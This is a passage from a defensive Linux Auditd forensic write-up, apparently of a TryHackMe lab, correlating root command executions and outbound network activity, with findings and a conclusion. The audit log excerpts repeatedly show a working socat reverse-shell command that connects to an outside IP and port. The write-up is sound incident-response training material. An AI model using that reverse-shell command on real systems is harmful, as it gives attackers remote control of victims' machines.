type=SYSCALL msg=audit(09/23/25 14:53:54.392:2151) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x638c16173ee0 a1=0x7ffe3c208310 a2=0x638c161746f0 a3=0x7ffe3c208310 items=2 ppid=2561 pid=2562 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=150 comm=systemd-xdg-aut exe=/usr/lib/systemd/user-generators/systemd-xdg-autostart-generator subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.583:2159) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5f57667dc0a0 a1=0x5f57667cd870 a2=0x5f57667e29c0 a3=0x5f57667cd6a0 items=2 ppid=2554 pid=2570 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=bash exe=/usr/bin/bash subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.587:2160) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x577f4464c5d0 a1=0x577f4464d240 a2=0x577f4464dfa0 a3=0x1 items=2 ppid=2570 pid=2571 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=groups exe=/usr/bin/groups subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.590:2161) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x577f4464bbc0 a1=0x577f4464afe0 a2=0x577f446506f0 a3=0x8 items=3 ppid=2570 pid=2572 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=lesspipe exe=/usr/bin/dash subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.591:2162) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x563395d4c9c0 a1=0x5633875b9680 a2=0x563395d4c908 a3=0x1 items=2 ppid=2572 pid=2573 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=basename exe=/usr/bin/basename subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.594:2163) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x563395d58940 a1=0x563395d58870 a2=0x563395d58888 a3=0x1 items=2 ppid=2574 pid=2575 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=dirname exe=/usr/bin/dirname subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.597:2164) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x577f44650ac0 a1=0x577f4464a0e0 a2=0x577f44650fc0 a3=0x8 items=2 ppid=2570 pid=2576 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=dircolors exe=/usr/bin/dircolors subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:58.672:2165) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x577f446861f0 a1=0x577f44687000 a2=0x577f44686ab0 a3=0x577f44687000 items=2 ppid=2570 pid=2577 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=whoami exe=/usr/bin/whoami subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:54:12.068:2166) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x577f446873d0 a1=0x577f44686fe0 a2=0x577f44686ab0 a3=0x577f44686fe0 items=2 ppid=2570 pid=2578 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=wall exe=/usr/bin/wall subj=unconfined key=exec
root@thm-vm:/home/ubuntu/scenarios
```

Figure 13. Correlation of Elevated Root Privilege Activity

Key Findings

- Elevated root privilege activity identified
- Multiple privileged command executions detected
- Root-level process execution successfully correlated
- Extensive post-compromise privileged activity observed

5.3. Correlation of Suspicious Outbound Network Activity

The final stage of the investigation focused on correlating suspicious outbound network-related activity within the Auditd logs. Analysis confirmed repeated outbound TCP communication associated with the reverse shell session and attacker command-and-control behavior.

```
root@thm-vm:/home/ubuntu/scenarios # Reviewing suspicious outbound network-related activity
root@thm-vm:/home/ubuntu/scenarios ausearch -i -if /home/ubuntu/scenario/audit.log | grep "TCP"
type=PROCTITLE msg=audit(09/23/25 14:52:20.453:2124) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC
:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:20.453:2124) : argc=3 a0=/bin/sh a1=-c a2=ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 E
XEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.512:2126) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:23.512:2126) : argc=3 a0=socat a1=TCP:10.14.105.255:1337 a2=EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2127) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2128) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2129) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2130) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
root@thm-vm:/home/ubuntu/scenarios
```

Figure 14. Correlation of Suspicious Outbound Network Activity

Key Findings

- Suspicious outbound TCP communication confirmed
- Reverse shell network activity successfully correlated
- Command-and-control behavior identified
- Network-based indicators of compromise validated

Conclusion

The Linux Auditd investigation successfully identified multiple indicators of malicious activity, including reverse shell execution, privilege escalation, persistence establishment, and suspicious outbound network communication. By leveraging Auditd process execution records and system activity logs, the investigation reconstructed attacker behavior and traced the compromise from initial reverse shell activity through post-exploitation persistence techniques.

Process tracing and PID correlation techniques enabled identification of the original compromised application responsible for launching the reverse shell activity. Additional investigation confirmed successful privilege escalation to root access, followed by persistence-related modifications involving cron jobs, SSH authorized keys, and malicious systemd service creation.

Advanced threat hunting activities further revealed suspicious shell execution patterns, elevated privilege activity, and outbound TCP communication associated with attacker command-and-control behavior. Correlating multiple Auditd events significantly improved visibility into attacker operations and demonstrated how Linux forensic analysis techniques can support Security Operations Center (SOC) investigations.

Overall, this project demonstrates the value of Linux Auditd logging within incident response and threat hunting workflows. The investigation highlights how forensic log analysis, process tracing, and persistence detection techniques can help security analysts identify compromise indicators, reconstruct attacker behavior, and improve enterprise threat detection capabilities.